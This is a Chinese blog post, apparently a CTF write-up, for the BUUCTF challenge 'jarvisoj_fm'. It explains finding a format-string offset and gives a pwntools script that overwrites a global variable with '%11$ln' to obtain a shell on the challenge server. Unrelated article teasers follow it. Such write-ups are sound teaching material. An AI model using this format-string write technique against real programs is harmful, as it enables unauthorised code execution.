news 2026/4/16 12:36:47

buuctf中的jarvisoj_fm

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的jarvisoj_fm

首先checksec检查保护机制:

-32位程序

-开启了栈溢出保护和栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4,即可拿到shell,那么方向就很明显了,使用格式化字符串漏洞实现任意地址写,将x的值改写为4

接下来先找到第一个参数的偏移,方便利用格式化字符串漏洞,在pwndbg中动态调试,先对程序输入一下代码:

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

得到:

发现0x41414141这个参数在第11位,0x41414141以ASCII码转化为字符即为AAAA,也就是我们输入的AAAA在第11位处,即偏移为11

再在IDA中拿到x的地址:0x0804A02C

然后就是脚本的编写了:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',25207) # 与在线环境交互。 offset = 11 aim_addr = 0x0804A02C payload = p32(aim_addr) + b'%11$ln' io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后输入cat flag即可拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/2 15:46:08

HashCalculator:高效文件完整性校验与批量计算解决方案

HashCalculator:高效文件完整性校验与批量计算解决方案 【免费下载链接】HashCalculator 一个文件哈希值批量计算器,支持将结果导出为文本文件功能和批量检验哈希值功能。 项目地址: https://gitcode.com/gh_mirrors/ha/HashCalculator 在当今数字…

作者头像 李华
网站建设 2026/4/15 10:30:24

鸣潮自动化工具终极指南:5大核心功能完整解析与实战应用

鸣潮自动化工具终极指南:5大核心功能完整解析与实战应用 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸上锁合成 自动肉鸽 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves 鸣潮自…

作者头像 李华
网站建设 2026/4/15 17:45:09

DeTikZify AI绘图:让LaTeX图表制作变得前所未有的简单

DeTikZify AI绘图:让LaTeX图表制作变得前所未有的简单 【免费下载链接】DeTikZify Synthesizing Graphics Programs for Scientific Figures and Sketches with TikZ 项目地址: https://gitcode.com/gh_mirrors/de/DeTikZify 还在为复杂的LaTeX图表制作而烦恼…

作者头像 李华
网站建设 2026/4/1 17:23:28

5分钟解锁MacBook Pro Touch Bar完整功能:Windows系统终极解决方案

5分钟解锁MacBook Pro Touch Bar完整功能:Windows系统终极解决方案 【免费下载链接】DFRDisplayKm Windows infrastructure support for Apple DFR (Touch Bar) 项目地址: https://gitcode.com/gh_mirrors/df/DFRDisplayKm 还在为MacBook Pro在Windows系统下…

作者头像 李华